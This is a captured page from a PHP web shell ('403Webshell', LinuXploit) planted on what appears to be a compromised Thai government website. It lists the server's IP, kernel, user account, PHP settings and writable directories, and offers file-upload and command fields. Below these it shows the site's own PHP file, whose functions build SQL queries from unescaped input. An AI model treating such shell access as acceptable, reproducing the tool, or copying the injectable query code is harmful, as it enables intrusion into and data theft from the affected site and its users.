403Webshell
Server IP : 119.59.102.212  /  Your IP : 3.15.182.56
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/coremain/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/coremain/function_form.php
<?php

// ########################## selected_field_sql ########################
/*
 *  function selected_field_sql
 *  input $fname = name of selected form
 *  $sql = full data sql for query
 *  $value_field = name in field in query in will be value of option
 *  $name_field = name of field that show in option
 *  $default(optional) = default values that selected
 *  $first_info_text(optional) = text_info before selected
 *  $first_info_value (optional) = values of first_info_text 
 */

function selected_field_sql($fname, $sql, $value_field, $name_field, $default = NULL, $first_info_text = NULL, $first_info_value = NULL) {

  $result = mysql_query($sql);

  echo "<select name=\"$fname\">";
  if (!empty($first_info_text)) {
    if ($data[$value_field] == $first_info_value)
      echo "<option value=\"first_info_value\" selected=\"selected\">$first_info_text</option>";
    else
      echo "<option value=\"first_info_value\">$first_info_text</option>";
  }
  while ($data = mysql_fetch_array($result)) {
    if ($data[$value_field] == $default)
      echo "<option value=\"$data[$value_field]\" selected=\"selected\">$data[$name_field]</option>";
    else
      echo "<option value=\"$data[$value_field]\">$data[$name_field]</option>";
  }
  echo "</selected>";
  mysql_close($handle);
  return;
}


function getGProcurement($url, $id_home) {
  //if ($param == '1' && (date('H') == '12' || date('H') == '17')) {
  if (date('H') == 12 || date('H') > 16 || date('H') < 9) {
    $xml = @simplexml_load_file($url);
    if($xml){
      $del_today = "DELETE FROM `cms_egprss` Where id_home = '$id_home'";
      mysql_query($del_today);
      
      $ArrayDocument = array();
      foreach($xml->children() as $key =>$value){
        $ArrayDocument= array('channel' => $value);    
      }

      $today = Date('Y-m-d');
      if (isset($ArrayDocument[$today])) {
        krsort($ArrayDocument[$today]);
        $CenterDocDLA['today'] = $ArrayDocument[$today];
        unset($ArrayDocument[$today]);
      }
      $CenterDocDLA['all'] = $ArrayDocument;
  //    debuga($CenterDocDLA['all']);
      $arrItem = [];
      foreach ($CenterDocDLA['all'] as $key => $value) {

        $arrData['egp_title'] = $value->title;
        $arrData['egp_description'] = $value->description;
        $arrData['egp_date'] = $value->lastBuildDate;
        $arrItem = $value->item;
      }
  //    debuga($arrData);

      $_egp = select_max_query0('egp_id', 'cms_egprss');//, 'title_id', $title_id);
      $egp_id = $_egp[0] == '' ? 1 : $_egp[0];
      foreach ($arrItem as $keyrss => $valuerss) {
        $arrData['egp_id'] = $egp_id;
        $arrData['egp_rss_title'] = $valuerss->title;
        $arrData['egp_rss_link'] = $valuerss->link;
        $arrData['egp_rss_pub_date'] = $valuerss->pubDate;
        $arrData['id_home'] = $id_home;

        $colData = implode(',', array_keys($arrData));
        $textData = "('".implode("','", $arrData)."')";
        $insert = "insert into cms_egprss ($colData) values $textData";
        mysql_query($insert);
        ++$egp_id;
      }
    }
  }
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit